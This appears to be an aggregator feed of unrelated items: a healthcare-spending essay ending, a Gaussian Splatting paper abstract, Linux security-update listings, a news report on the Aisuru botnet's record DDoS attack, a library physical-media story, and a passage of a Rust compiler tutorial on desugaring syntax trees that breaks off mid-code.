    • Medicaid is technically for “low-income people”, but look closer: 22% of all Medicaid spending goes to nursing homes ($188B). That’s grandma’s long-term care after she runs out of money. Germany separated long-term care into its own system. The UK has a distinct local authority. The US folded it into Medicaid and pretended it’s a poverty program. Another choice we made without admitting it: we socialize the costs of aging, but only after families go broke first.

    A stark contrast to Children’s Health Programs (in green). But this isn’t about whether old people deserve healthcare spending compared to our investment in children’s health. This diagram just points out that we’ve made a civil covenant to care for our elders.

    The US diagram is a Rorschach test - whatever story you want to tell:

    • The $100B in public health versus $1,452B in hospital care: the tale of treatment instead of prevention.

    • The $120B in children’s health versus $1,000B in Medicare: how we repair old age instead of investing in youth.

    • The $441B in prescription drugs - the story of incentivizing American innovation over price controls.

    • And the administrative complexity at every handoff…

    The question isn’t whether these choices are right or wrong. The question is: do we even know what we chose?

    When we say “just fix healthcare,” this monstrous chart shows the problem. You can’t “just expand Medicare” - Medicare is already funded by four different sources. You can’t “just cut insurance middlemen” - employer plans flow $1T+ to care. Every fix redirects one river while missing the ecosystem.

    The UK built a system that moves money from taxpayers to services. Germany built a system that moves money from employers and employees to services.

    We built a system that costs everyone, everything, everywhere - and we’re still arguing about whether healthcare is a right, an earned benefit, or a market commodity.

    I spent weeks mapping this diagram. Actually taking away parts? That’s choosing who loses coverage, whose job disappears, which hospital closes.

    The chart isn’t simply dollars flowing through programs - it tells a story of how we support each other. Whether money goes to your trusted doctor, to hospitals that save you when you’re gravely ill, to nursing homes where our elders age with dignity, to invest in programs that keep our children - and our futures - healthy.

    This is American ambivalence about what we owe each other. It’s not just a creature to be fixed. It’s 330 million people living inside the creature we created.

    Ernst Haeckel drew his creatures to reveal nature’s hidden order. This diagram reveals our hidden disorder - or perhaps, a different kind of order than we admitted we were building. The question isn’t whether this creature is beautiful or monstrous.

    The question is: now that we see what we made, what do we want to do about it?

    Discussion about this post

    GSWT: Gaussian Splatting Wang Tiles

    Hacker News
    yunfan.zone
    2025-12-03 14:40:25
    Comments...
    Original Article

    1 The Hong Kong University of Science and Technology, Hong Kong SAR, China
    2 Eyeline Labs, USA

    Abstract

    3D Gaussian Splatting (3DGS) has shown strong capability in reconstructing and rendering photorealistic 3D scenes with high efficiency. However, extending 3DGS to synthesize large-scale or infinite terrains from a single captured exemplar—remains an open challenge. In this paper, we propose a tile-based framework that addresses this problem. Our method builds on Wang Tiles, where each tile encodes a local field of Gaussians with boundary constraints to ensure seamless transitions. This enables stochastic yet continuous tiling of Gaussian fields over arbitrary surfaces, allowing for procedural generation of expansive terrains with high spatial diversity. Furthermore, we introduce several rendering optimizations tailored to the unique characteristics of 3DGS Wang tiles, achieving real-time rendering of large-scale 3DGS terrains.

    Pipeline

    Given multi-view images of an exemplar scene, our goal is to construct Gaussian Splatting Wang Tiles (GSWT) that can be tiled on arbitrary surfaces and rendered in real time with our novel GSWT renderer. An overview of the entire pipeline is illustrated below. We begin by reconstructing the 3DGS exemplar at multiple LODs. For each level, we generate a set of Wang Tiles by sampling the edge and center patches and applying a semantic-aware graph cut algorithm. Prior to rendering, we pre-sort each tile for efficient sort-free splatting, and during runtime, we perform tiling on the fly, allowing efficient GSWT-based terrain synthesis and rendering.

    Pipeline

    (a) Given the input images, we construct the exemplar multiple times with different Level of Detail (LOD).
    (b) We construct the tile set and preprocess it before rendering.
    (c) The surface is tiled at run-time on the worker thread, while the main thread renders each frame.

    @inproceedings{Zeng:2025:gswt,
      author = {Zeng, Yunfan and Ma, Li and Sander, Pedro V.},
      title = {GSWT: Gaussian Splatting Wang Tiles},
      year = {2025},
      publisher = {Association for Computing Machinery},
      booktitle = {SIGGRAPH Asia 2025 Conference Papers},
      location = {Hong Kong, China},
      series = {SA '25}
    }

    Security updates for Wednesday

    Linux Weekly News
    lwn.net
    2025-12-03 14:11:40
    Security updates have been issued by Debian (containerd, mako, and xen), Fedora (forgejo, nextcloud, openbao, rclone, restic, and tigervnc), Oracle (firefox, kernel, libtiff, libxml2, and postgresql), SUSE (libecpg6, lightdm-kde-greeter, python-cbor2, python-mistralclient-doc, python315, and python3...
    Original Article
    Dist. ID Release Package Date
    Debian DSA-6067-1 stable containerd 2025-12-02
    Debian DLA-4393-1 LTS mako 2025-12-03
    Debian DSA-6068-1 stable xen 2025-12-02
    Fedora FEDORA-2025-35fe65f08c F43 forgejo 2025-12-03
    Fedora FEDORA-2025-bb6c04e3ee F41 nextcloud 2025-12-03
    Fedora FEDORA-2025-f62aee4fe6 F42 nextcloud 2025-12-03
    Fedora FEDORA-2025-84af4b9872 F43 nextcloud 2025-12-03
    Fedora FEDORA-2025-45a7dd8f10 F41 openbao 2025-12-03
    Fedora FEDORA-2025-6b2336ec55 F42 openbao 2025-12-03
    Fedora FEDORA-2025-c7f4367479 F43 openbao 2025-12-03
    Fedora FEDORA-2025-5f73919942 F42 rclone 2025-12-03
    Fedora FEDORA-2025-5e299f890a F43 rclone 2025-12-03
    Fedora FEDORA-2025-f618726d01 F41 restic 2025-12-03
    Fedora FEDORA-2025-65fc438cba F42 restic 2025-12-03
    Fedora FEDORA-2025-416c3b48b3 F43 restic 2025-12-03
    Fedora FEDORA-2025-f59b250c31 F42 tigervnc 2025-12-03
    Fedora FEDORA-2025-e0c935675d F43 tigervnc 2025-12-03
    Oracle ELSA-2025-22363 OL8 firefox 2025-12-03
    Oracle ELSA-2025-28026 OL7 kernel 2025-12-03
    Oracle ELSA-2025-28024 OL8 kernel 2025-12-03
    Oracle ELSA-2025-28026 OL8 kernel 2025-12-03
    Oracle ELSA-2025-28026 OL8 kernel 2025-12-03
    Oracle ELSA-2025-22388 OL8 kernel 2025-12-03
    Oracle ELSA-2025-28025 OL9 kernel 2025-12-03
    Oracle ELSA-2025-28024 OL9 kernel 2025-12-03
    Oracle ELSA-2025-28024 OL9 kernel 2025-12-03
    Oracle ELSA-2025-22405 OL9 kernel 2025-12-03
    Oracle ELSA-2025-28025 OL9, OL10 kernel 2025-12-03
    Oracle ELSA-2025-21407 OL7 libtiff 2025-12-03
    Oracle ELSA-2025-22376 OL9 libxml2 2025-12-03
    Oracle ELSA-2025-28019 OL8 postgresql 2025-12-03
    SUSE openSUSE-SU-2025:15789-1 TW libecpg6 2025-12-02
    SUSE openSUSE-SU-2025:15788-1 TW lightdm-kde-greeter 2025-12-02
    SUSE openSUSE-SU-2025-20133-1 oS16.0 python-cbor2 2025-12-03
    SUSE openSUSE-SU-2025:15790-1 TW python-mistralclient-doc 2025-12-02
    SUSE openSUSE-SU-2025:15791-1 TW python315 2025-12-02
    SUSE openSUSE-SU-2025:15792-1 TW python39 2025-12-02
    Ubuntu USN-7905-1 25.10 kdeconnect 2025-12-03
    Ubuntu USN-7906-1 25.10 linux, linux-aws, linux-realtime 2025-12-03
    Ubuntu USN-7903-1 14.04 16.04 18.04 20.04 22.04 24.04 25.04 25.10 python-django 2025-12-02
    Ubuntu USN-7855-2 22.04 24.04 25.04 25.10 unbound 2025-12-02

    Aisuru botnet behind new record-breaking 29.7 Tbps DDoS attack

    Bleeping Computer
    www.bleepingcomputer.com
    2025-12-03 14:01:04
    In just three months, the massive Aisuru botnet launched more than 1,300 distributed denial-of-service attacks, one of them setting a new record with a peak at 29.7 terabits per second. [...]...
    Original Article

    Aisuru botnet behind new record-breaking 29.7 Tbps DDoS attack

    In just three months, the massive Aisuru botnet launched more than 1,300 distributed denial-of-service attacks, one of them setting a new record with a peak at 29.7 terabits per second.

    Aisuru is a huge botnet-for-hire service that provides an army of routers and IoT devices compromised via known vulnerabilities or through brute-forcing weak credentials.

    Internet management and infrastructure company Cloudflare estimates that the botnet uses between one and four million infected hosts across the world.

    Cybercriminals can rent from distributors parts of the Aisuru botnet to launch distributed denial-of-service (DDoS) attacks.

    The largest hyper-volumetric attack from Aisuru-controlled devices occurred in the third quarter of 2025 and was successfully mitigated by Cloudflare.

    The previous record DDoS attack, which peaked at 22.2 Tbps , was also mitigated by Cloudflare and was attributed to Aisuru with medium confidence. More recently, Microsoft disclosed that the same botnet hit its Azure network with a massive 15 Tbps DDoS attack launched from 500,000 IP addresses.

    Cloudflare reports that it mitigated 2,867 Aisuru attacks since the beginning of the year, almost 45% of them being hyper-volumetric - attacks that exceed 1 Tbps or 1  billion packets per second (Bpps).

    The internet company did not name the target of the record-breaking incident, but notes that the attack lasted 69 seconds and peaked at 29.7 Tbps. It used UDP carpet-bombing to direct “garbage” traffic to an average of 15,000 destination ports per second.

    Graph from the record-breaking Aisuru attack
    Graph from the record-breaking Aisuru attack
    Source: Cloudflare

    Another massive DDoS attack that the company mitigated reached 14.1 Bpps.

    Cloudflare says that Aisuru attacks can be so devastating that the amount of traffic can disrupt internet service providers (ISPs), even if they are not directly targeted.

    "If Aisuru’s attack traffic can disrupt parts of the US’ Internet infrastructure when said ISPs were not even the target of the attack, imagine what it can do when it’s directly aimed at unprotected or insufficiently protected ISPs, critical infrastructure, healthcare services, emergency services, and military systems," Cloudflare says.

    Rise in hyper-volumetric attacks

    Statistical data from Cloudflare shows that hyper-volumetric DDoS attacks from the Aisuru botnet are rising steadily this year, reaching 1,304 incidents in Q3 alone.

    According to the researchers, Aisuru is targeting companies in various sectors, including gaming, hosting providers, telecommunications, and financial services.

    Hypervolumetric DDoS attacks per quarter
    Hypervolumetric DDoS attacks per quarter
    Source: Cloudflare

    DDoS attacks exceeding 100 Mpps increased by 189% QoQ, and those exceeding 1 Tbps more than doubled (227%) QoQ.

    Most attacks end in less than 10 minutes, according to Cloudflare, leaving defenders and on-demand services little time to respond.

    “A short attack may only last a few seconds, but the disruption it causes can be severe, and recovery takes far longer,” explained Cloudflare.

    “Engineering and operational teams are then stuck with a complex, multi-step process to get critical systems back online, check data for consistency across distributed systems, and restore secure, reliable service to customers.”

    In terms of the number of DDoS attacks, this past quarter wasn’t at the level of Q1, but 2025 continues to be far more severe than the past years, and even without November and December having been accounted for yet.

    Number of DDoS attacks as of October 2025
    Number of DDoS attacks as of October 2025
    Source: Cloudflare

    Cloudflare says that in Q3 it mitigated an average of 3,780 DDoS attacks every hour, most coming from Indonesia, Thailand, Bangladesh, and Ecuador, and targeting China, Turkey, Germany, Brazil, and the United States.

    tines

    Break down IAM silos like Bitpanda, KnowBe4, and PathAI

    Broken IAM isn't just an IT problem - the impact ripples across your whole business.

    This practical guide covers why traditional IAM practices fail to keep up with modern demands, examples of what "good" IAM looks like, and a simple checklist for building a scalable strategy.

    A final stable kernel update for 5.4

    Linux Weekly News
    lwn.net
    2025-12-03 14:00:32
    Greg Kroah-Hartman has announced the release of the 5.4.302 stable kernel: This is the LAST 5.4.y release. It is now end-of-life and should not be used by anyone, anymore. As of this point in time, there are 1539 documented unfixed CVEs for this kernel branch, and that number will only increase ov...
    Original Article

    [Posted December 3, 2025 by jzb]

    Greg Kroah-Hartman has announced the release of the 5.4.302 stable kernel:

    This is the LAST 5.4.y release. It is now end-of-life and should not be used by anyone, anymore. As of this point in time, there are 1539 documented unfixed CVEs for this kernel branch, and that number will only increase over time as more CVEs get assigned for kernel bugs.

    For the curious, Kroah-Hartman has also provided a list of the unfixed CVEs for 5.5.302.



    The Last Video Rental Store Is Your Public Library

    403 Media
    www.404media.co
    2025-12-03 14:00:14
    Audio-visual librarians are quietly amassing large physical media collections amid the IP disputes threatening select availability....
    Original Article

    This story was reported with support from the MuckRock foundation .

    As prices for streaming subscriptions continue to soar and finding movies to watch, new and old, is becoming harder as the number of streaming services continues to grow, people are turning to the unexpected last stronghold of physical media: the public library. Some libraries are now intentionally using iconic Blockbuster branding to recall the hours visitors once spent looking for something to rent on Friday and Saturday nights.

    John Scalzo, audiovisual collection librarian with a public library in western New York, says that despite an observed drop-off in DVD, Blu-ray, and 4K Ultra disc circulation in 2019, interest in physical media is coming back around.

    “People really seem to want physical media,” Scalzo told 404 Media .

    Part of it has to do with consumer awareness: People know they’re paying more for monthly subscriptions to streaming services and getting less. The same has been true for gaming.

    As the audiovisual selector with the Free Library of Philadelphia since 2024, Kris Langlais has been focused on building the library’s video game collections to meet comparable interest in demand. Now that every branch library has a prominent video game collection, Langlais says that patrons who come for the games are reportedly expressing interest in more of what the library has to offer.

    “Librarians out in our branches are seeing a lot of young people who are really excited by these collections,” Langlais told 404 Media. “Folks who are coming in just for the games are picking up program flyers and coming back for something like that.”

    Langlais’ collection priorities have been focused on new releases, yet they remain keenly aware of the long, rich history of video game culture. The problem is older, classic games are often harder to find because they’ve gone out of print, making the chances of finding them cost-prohibitive.

    “Even with the consoles we’re collecting, it’s hard to go back and get games for them,” Langlais said. “I’m trying to go back and fill in old things as much as I can because people are interested in them.”

    Locating out-of-print physical media can be difficult. Scalzo knows this, which is why he keeps a running list of films known to be unavailable commercially at any given time, so that when a batch of films are donated to the library, Scalzo will set aside extra copies, just in case a rights dispute puts a piece of legacy cult media in licensing purgatory for a few years.

    “It’s what’s expected of us,” Scalzo added.

    Tiffany Hudson, audiovisual materials selector with Salt Lake City Public Library has had a similar experience with out-of-print media. When a title goes out of print, it’s her job to hunt for a replacement copy. But lately, Hudson says more patrons are requesting physical copies of movies and TV shows that are exclusive to certain streaming platforms, noting that it can be hard to explain to patrons why the library can't get popular and award-winning films, especially when what patrons see available on Amazon tells a different story.

    “Someone will come up to me and ask for a copy of something that premiered at Sundance Film Festival because they found a bootleg copy from a region where the film was released sooner than it was here,” Hudson told 404 Media, who went onto explain that discs from different regions aren’t designed to be ready by incompatible players.

    But it’s not just that discs from different regions aren’t designed to play on devices not formatted for that specific region. Generally, it's also just that most films don't get a physical release anymore. In cases where films from streaming platforms do get slated for a physical release, it can take years. A notable example of this is the Apple+ film CODA , which won the Oscar for Best Picture in 2022. The film only received a U.S. physical release this month . Hudson says films getting a physical release is becoming the exception, not the rule.

    “It’s frustrating because I understand the streaming services, they’re trying to drive people to their services and they want some money for that, but there are still a lot of people that just can’t afford all of those services,” Hudson told 404 Media.

    Films and TV shows on streaming also become more vulnerable when companies merge. A perfect example of this was in 2022 with the HBO Max-Discovery+ merger under Warner Bros Discovery . A bunch of content was removed from streaming, including roughly 200 episodes of classic Sesame Street for a tax write-off. That merger was short-lived, as the companies are splitting up again as of this year . Some streaming platforms just outright remove their own IP from their catalogs if the content is no longer deemed financially viable, well-performing or is no longer a strategic priority.

    The data-driven recommendation systems streaming platforms use tend to favor newer, more easily categorized content, and are starting to warp our perceptions of what classic media exists and matters . Older art house films that are more difficult to categorize as “comedy” or “horror” are less likely to be discoverable, which is likely how the oldest American movie available on Netflix currently is from 1968.

    It’s probably not a coincidence that, in many cases, the media that is least likely to get a more permanent release is the media that’s a high archival priority for libraries. AV librarians 404 Media spoke with for this story expressed a sense of urgency in purchasing a physical copy of “The People’s Joker” when they learned it would get a physical release after the film premiered and was pulled from the Toronto International Film Festival lineup in 2022 for a dispute with the Batman universe’s rightsholders.

    “When I saw that it was getting published on DVD and that it was available through our vendor—I normally let my branches choose their DVDs to the extent possible, but I was like, ‘I don’t care, we’re getting like 10 copies of this,’” Langlais told 404 Media. “I just knew that people were going to want to see this.”

    So far, Langlais’ instinct has been spot on. The parody film has a devout cult following, both because it’s a coming-of-age story of a trans woman who uses comedy to cope with her transition, and because it puts the Fair Use Doctrine to use. One can argue the film has been banned for either or both of those reasons. The fact that media by, about and for the LGBTQ+ community has been a primary target of far-right censorship wasn’t lost on librarians.

    “I just thought that it could vanish,” Langlais added.

    It’s not like physical media is inherently permanent. It’s susceptible to scratches, and can rot, crack, or warp over time. But currently, physical media offers another option, and it’s an entirely appropriate response to the nostalgia for-profit model that exists to recycle IP and seemingly not much else. However, as very smart people have observed, nostalgia is default conservative in that it’s frequently used to rewrite histories that may otherwise be remembered as unpalatable, while also keeping us culturally stuck in place.

    Might as well go rent some films or games from the library, since we’re already culturally here. On the plus side, audiovisual librarians say their collections dwarf what was available at Blockbuster Video back in the day. Hudson knows, because she clerked at one in library school.  and the collections dwarf what you’d find at Blockbuster Video back in its heyday.

    “Except we don’t have any late fees,” she added.

    This Podcast Will Hack You

    403 Media
    www.404media.co
    2025-12-03 14:00:05
    Something very strange is happening on Apple Podcasts; someone seemingly changed a map of the Ukraine war in connection with a betting site; and now half of the U.S. requires a face or ID scan to watch porn....
    Original Article

    We start this week with Joseph’s very weird story about Apple Podcasts. The app is opening by itself, playing random spirituality podcasts, and in one case directing listeners to a potentially malicious website. After the break, Matthew tells us how it sure looks like a map of Ukraine was manipulated in order to win a bet on Polymarket. In the subscribers-only section, Sam breaks down how half of the U.S. now requires a face or ID scan to watch porn.

    Listen to the weekly podcast on Apple Podcasts , Spotify , or YouTube . Become a paid subscriber for access to this episode's bonus content and to power our journalism. If you become a paid subscriber, check your inbox for an email from our podcast host Transistor for a link to the subscribers-only version! You can also add that subscribers feed to your podcast app of choice and never miss an episode that way. The email should also contain the subscribers-only unlisted YouTube link for the extended video version too. It will also be in the show notes in your podcast player.

    Timestamps:
    2:00 - Story 1 - Someone Is Trying to ‘Hack’ People Through Apple Podcasts
    21:55 - Story 2 - 'Unauthorized' Edit to Ukraine's Frontline Maps Point to Polymarket's War Betting
    37:00 - Story 3 - Half of the US Now Requires You to Upload Your ID or Scan Your Face to Watch Porn

    About the author

    Joseph is an award-winning investigative journalist focused on generating impact. His work has triggered hundreds of millions of dollars worth of fines, shut down tech companies, and much more.

    Joseph Cox

    Desugaring the Relationship Between Concrete and Abstract Syntax

    Lobsters
    thunderseethe.dev
    2025-12-03 13:59:21
    Comments...
    Original Article

    Previously, we, begrudgingly, parsed some syntax into a Concrete Syntax Tree (CST) . With that tarpit deftly dodged, we can proceed to our next pass desugaring. Desugaring removes syntax sugar and maps our CST onto our Abstract Syntax Tree (AST). Our CST leaves us with a lot of cruft, such as | or = . This stuff was important for telling head from tail in our initial source file, and we’ll want to have it around when we’re reporting diagnostics, but the rest of the compiler doesn’t really care about such mundane affairs. Desugaring helps us strip away all the syntax and focus in on what’s important, lightening the cognitive load for following compiler passes.

    But… do we really gotta? It seems like a pain. Can’t the later passes just deal with the excess syntax? We’ve come to expect that’s the tee up for why we can’t do that, but actually you kinda just…can. In fact, that’s exactly what Swift does.

    They parse the CST, and their “AST” is just the subset of fields on the CST that are semantically relevant. It’s a perfectly valid strategy. I might even recommend it. That is of course, if you didn’t write every following pass of the compiler already using an explicit AST already. But who would do that, haha. Don’t worry, we have a real reason to use a separate AST as well.

    We find let expressions in our syntax, but they are nowhere to be found in our AST. Syntax sugar turns out to be a common motivator for splitting CST and AST. If you look at rust-analyzer , they employ a similar strategy to Swift. They expose a bunch of helpers on the CST for the semantically interesting stuff. Despite that, they still produce a separate tree called HIR .

    Rust desugars away a lot of its surface syntax, as well. Accommodating this transformation requires producing a new tree. It’s not enough to provide methods for the semantically interesting stuff. We need to fundamentally change the structure of our tree.

    As we change our tree, we need to remember where we came from. It’s important that we’re able to map our AST back onto our CST. This will matter not only for error reporting, but also for queries. If we want to go to definition, we’ll need to determine the AST node our cursor is pointing at and then use that to determine where it’s definition is.

    Desugaring produce our new AST and a mapping from AST nodes to CST nodes. Desugaring, like parsing, is also going to be resilient. We produce a list of errors alongside our AST and mapping.

    For the most part, desugaring is straightforward. We walk our CST, taking the interesting bits out as we go and stashing them in the new AST we’re constructing. Conveniently, our syntax nodes map directly onto our AST nodes. Almost as if we designed them that way.

    Let expressions are an exception, requiring some more care. They can’t be mapped directly onto our AST. We have to represent them with a tree of nodes and map them back onto our CST.

    Traipsing Through Our CST Link to heading

    During parsing, we were concerned with building up our CST, giving little consideration to how we consume our CST. That changes in desugaring. We are now concerned not only with how we traverse our CST, but how we store our CST. Recall one of our outputs is a mapping between CST and AST. Producing such a mapping requires we have a way to reference a particular CST node.

    Our CST is provided by rowan , and we happen to be in luck. rowan provides not only a CST, but a way to traverse it. Traversal is performed by SyntaxNode . A type we did not encounter at all during parsing.

    We can construct a SyntaxNode from our parsed GreenNode , providing us with a suite of new methods. The most common method we’ll use is first_child_by_kind . first_child_by_kind takes a Fn(Syntax) -> bool and returns the first node that returns true for our function Our predicate allows us to pick nodes of a particular kind ( SyntaxKind::LetBinder , Sytnax::Expr , etc.) out of our tree.

    Notably, first_child_by_kind only returns a syntax node. It cannot return a token, aka a leaf node in our CST. This is not an oversight on rowan s part but a conscious design decision. If we want to find tokens, we can use first_child_or_token_by_kind .

    When wading through a SyntaxNode ’s children we only care about the nodes. The tokens will be syntactic noise such as Whitespace or Equal , which are irrelevant to producing our AST. rowan knows this and lets us skip right to the action.

    This is why we wrapped notable Identifier tokens in nodes during parsing. FunBinder and LetBinder always wrap a single Identifier (give or take some Whitespace ) but let us find that identifier via first_child_by_kind .

    Setting Up For Success Link to heading

    Like our other passes, desugar is a set of recursive methods walking a tree. With all the trees we’re traversing, we’ll have covered a whole forest by the time we’re done compiling. Also like our other passes, we share state between those recursive methods in a Desugar struct:

    struct Desugar {
      node_id: u32,
      root: GreenNode,
      ast_to_cst: HashMap<NodeId, SyntaxNodeHandle>,
      errors: HashMap<SyntaxNodePtr<Lang>, DesugarError>,
    }
    

    Desugar is where we’re on the hook to uniquely identify our Ast nodes. node_id tracks the next available ID as we construct AST nodes. Like VarSupply from lowering, we increment this counter every time we create a node.

    root is the root node of our CST from parsing. The very same CST desugaring is in the middle of traversing. A GreenNode is cheap to clone, so we don’t need to worry about having two copies floating about.

    ast_to_cst maps our Ast nodes back onto the CST nodes that spawned them. This mapping will be central to error reporting, taking errors on our AST nodes and turning them into spans in our source file. We might be surprised to see it stores something called a SyntaxNodeHandle , not SyntaxNode .

    A SyntaxNode is a pointer under the hood. This is great for performance, but not great for long term storage. Instead of trying to figure out how to store a pointer safely, we store an index that will let us return to the position in our tree our SyntaxNode pointed at.

    Note

    As the name might imply, what we’re describing here is the handle pattern .

    We can think of this as storing a (Vec<T>, usize) instead of a &T . We can see this if we pop open SyntaxNodeHandle :

    struct SyntaxNodeHandle {
      root: GreenNode,
      ptr: SyntaxNodePtr<Lang>,
    }
    

    SyntaxNodePtr comes from rowan . Despite the name, a glance at its definition reveals an absence of pointers:

    struct SyntaxNodePtr<L: Language> {
      // This is Syntax for us
      kind: L::Kind,
      // This is the span in our source text
      range: TextRange,
    }
    

    From the span and kind of our node, we can find it within root and produce a SyntaxNode whenever we need one. We work with SyntaxNode while traversing because it’s fast, but once we want to store a node we convert it to SyntaxNodeHandle . When it’s time to traverse again, we convert our handle back into a SyntaxNode and pick up where we left off.

    error also needs to store a SyntaxNode to point at where errors occurred. We’re less concerned with restarting traversal for our errors, so it suffices to store a SyntaxNodePtr .

    Taking the Icing Off the Cake Link to heading

    With our state squared away, we move onto our entry point desugar :

    fn desugar(root: GreenNode) -> DesugarOut {
      todo!()
    }
    

    We take in a GreenNode from parsing, and produce a DesugarOut :

    struct DesugarOut {
      ast: Ast<String>,
      ast_to_cst: HashMap<NodeId, SyntaxNodeHandle>,
      errors: HashMap<SyntaxNodePtr<Lang>, DesugarError>,
    }
    

    DesugarOut holds the three things we produce from desugaring. Due to our resilience, we always produce all of our outputs in some shape. From there, our body is brief:

    fn desugar(root: GreenNode) -> DesugarOut {
      let mut desugar = Desugar::new(root.clone());
      let ast = desugar.desugar_program(SyntaxNode::new_root(root));
      DesugarOut {
        ast,
        ast_to_cst: desugar.ast_to_cst,
        errors: desugar.errors,
      }
    }
    

    We construct Desugar , desugar our program’s Ast , and then assemble our outputs. Hard to ask for something simpler than that.

    From the Top With Programs Link to heading

    Recall from parsing, our program is just an expression. We see that’s still the case for desugar_program :

    fn desugar_program(&mut self, cst: SyntaxNode<Lang>) -> Ast<String> {
      let Some(expr) = cst.first_child_by_kind(&|kind| kind == Syntax::Expr) else {
        // Assume parser has emitted an error for the missing node and just return a Hole here.
        return self.hole(&cst, DesugarError::MissingSyntax(Syntax::Expr));
      };
    
      self.desugar_expr(expr)
    }
    

    We find the first Expr node in our CST. There should only ever be at most one, so the first is always correct. Failing to find an expression, we assume our program is invalid and return a hole . hole constructs a Hole AST node and maps it to its CST node:

    fn hole(&mut self, node: &SyntaxNode<Lang>, kind: DesugarError) -> Ast<String> {
      let ptr = SyntaxNodePtr::new(node);
      self.errors.insert(ptr, kind);
    
      let id = self.next_id();
      self.insert_node(id, ptr);
      Ast::Hole(id, "_".to_string())
    }
    

    Hole is part of our resilience strategy, previously seen in type inference . Rather than failing at the first invalid AST, we treat it as a Hole and try to recover as much of our AST as possible. Whenever we create a hole we attach an error to let us know what went awry.

    Expressive Desugaring Link to heading

    When we find our Expr , we pass it along to desugar_expr :

    fn desugar_expr(
      &mut self, 
      expr: SyntaxNode<Lang>
    ) -> Ast<String> {
      todo!()
    }
    

    Recall our expression syntax is any number of let bindings followed by an application:

    • Expr
      • Let
      • Let
      • App

    In a perfect world, we’d consume this layout and be on our merry way. Alas, we have to contend with the possibility that the expression we’re looking at is invalid. We maintain a list of bindings and walk the children SyntaxNode s of our expression:

    let mut binds = vec![];
    // The only tokens that appear in Lets are whitespace that we are happy to skip here.
    for child in expr.children() {
      match child.kind() {
        Syntax::Let => match self.desugar_let(child.clone()) {
          Ok((var, arg)) => binds.push((var, arg, child)),
          Err(error) => {
            let hole = self.hole(&child, error);
            return self.build_locals(binds, hole);
          }
        },
        _ => {
          let body = self.desugar_app(child);
          return self.build_locals(binds, body);
        }
      }
    }
    

    Our loop ends in one of three ways:

    1. We encounter an error from desugar_let
    2. We see a non Let child
    3. We run out of children

    Our first exit means we had an invalid let binding, and we treat the remainder of our expression as a hole. We still might have accrued some bindings that we’ll turn into a let expression using build_locals .

    Our second case is our “happy path”. If we see a non Let syntax, we assume it’s an application, pass it to desugar_app , and return whatever comes back to build_locals . An application could be any of a parenthesized expresssion, function, integer, application, etc. We don’t have to check for all of those here, if we happen to pass invalid syntax to desugar_app it’ll give us back a hole.

    Finally, our third case exits the loop. This happens when we only have Let children, our expression has no body, or we have no children to begin with. Either way we handle it the same, by creating a hole:

    let node = &expr.last_child().unwrap_or(expr);
    self.hole(node, DesugarError::ExprMissingBody)
    

    Our loop relies on children only walking over syntax nodes. Let bindings have Whitespace tokens between them (although they don’t have to!), and these would trigger our wildcard case ending our loop early. But Whitespace is a token, so children skips over it allowing us to assume we’ll only see Let syntax until we reach our expression’s final application.

    Desugaring Let Bindings Link to heading

    desugar_let does not desugar a full let expression This is because our CST only encodes let bindings: let <var> = <expr>; . Recall from parsing, a Let syntax node has the shape:

    • Let
      • LetKw
      • LetBinder
      • Equal
      • Expr
      • Semicolon

    Because of that we don’t produce an Ast out of desugar_let . We lack the syntax with which to do so. Instead, we produce a pair comprising an identifier and it’s definition, relying on desugar_expr to turn those into a full Ast . We’ll extract our pair from the children of our Let node:

    fn desugar_let(
      &mut self, 
      bind: SyntaxNode<Lang>
    ) -> Result<(String, Ast<String>), DesugarError> {
      let mut children = bind.children();
    
      let binder = children
        .next()
        .filter(|var| var.kind() == Syntax::LetBinder)
        .and_then(|var| var.first_child_or_token_by_kind(&|kind| kind == Syntax::Identifier))
        .ok_or(DesugarError::LetMissingBinding)?;
    
      let ast = match children.next()
          .filter(|expr| expr.kind() == Syntax::Expr) {
        Some(expr) => self.desugar_expr(expr),
        None => self.hole(&bind, DesugarError::LetMissingExpr),
      };
    
      Ok((binder.to_string(), ast))
    }
    

    We assume our let binding only has two nodes (and we don’t have to care how many tokens it has). The first is a LetBinder , which holds our identifier. We unwrap our LetBinder to reveal it’s underlying Identifier token and grab its text. If our binding is missing, we error immediately.

    Next is the definition of our let binding, which should be an Expr . We pass it to desugar_expr and use whatever it gives us. Failing to find that, we produce a hole and let the user know they’re missing an expression. Next we move onto desugaring appl- You know what actually…

    You get the gist Link to heading

    We’ve got a taste for desugaring. I trust you can extrapolate from here. For each piece of syntax we:

    1. Traverse to the interesting nodes in our CST
    2. Extract their text
    3. Put them in our AST

    When we fail to do any of those steps, we replace the AST we’re constructing with a Hole , attempting to replace the smallest AST we can. We’d rather replace the definition of a let with a hole than the entire let. Whenever we create an AST node, we give it a unique ID and a pat on the head, map it back to our CST and send it on its way. If you want to see it in glorious high resolution (depending on your monitor) detail, check out the full code . Instead of rehashing the same concepts we’ve covered above, let’s move on to the next interesting bit: desugaring let expressions.

    Removing our Syntax Sugar Link to heading

    build_locals is, in a sense, where all the magic happens. Our other helpers turn one syntactic construct into one AST construct. Here, however, we turn our let expressions into multiple AST nodes. With the loss of our 1:1 mapping, we have to answer a question: How do we map multiple AST nodes back onto one CST node.

    A let expression turns into a function nested within an application. Whenever we write let x = 1; incr x , we could write (|x| incr x) 1 . We’ll represent let expressions as an Ast::Fun and Ast::App .

    But, what’s the span of our Ast::Fun ? Our tree transformation is destructive. We’ve lost some information.

    There isn’t a contiguous span in our source that represents our function. If we encompass all the elements of our function, as in let ∣x = 1; incr x∣ , we also include parts of our application. Our application faces a similar conundrum, but it’s easier for us to handwave it away by saying it spans our full let expression.

    In lieu of picking the perfect span for our function, let’s take a step back and consider why we need a span for our function. Foremost, our span serves as a location for diagnostics. After that, our span serves to identify our AST node for any user interactions. For example, if we want to get the type of our let variable, we’ll use the span to figure out which function parameter to get the type of in the AST.

    Our function doesn’t actually need a span for that many diagnostics in practice. If an error occurs in our function body, our function body is an expression that maps to its own independent span.

    We don’t need a span for our entire function. If we can give a span to our function parameter, our function body will take care of itself. Our narrowed task is much simpler to satisfy: let ∣x∣ = 1; incr x . Just like that; We’ve assigned a span to our function parameter. And if we look at the implementation, we’ll see that’s exactly what we do:

    fn build_locals(
      &mut self,
      binds: Vec<(String, Ast<String>, SyntaxNode<Lang>)>,
      body: Ast<String>
    ) -> Ast<String> {
      binds.into_iter().rfold(body, |body, (var, arg, child)| {
        let app_id = self.next_id();
        let fun_id = self.next_id();
        if let Some(let_binder) =
          child.first_child_by_kind(&|kind| kind == Syntax::LetBinder) {
          self.insert_node(fun_id, SyntaxNodePtr::new(&let_binder));
        }
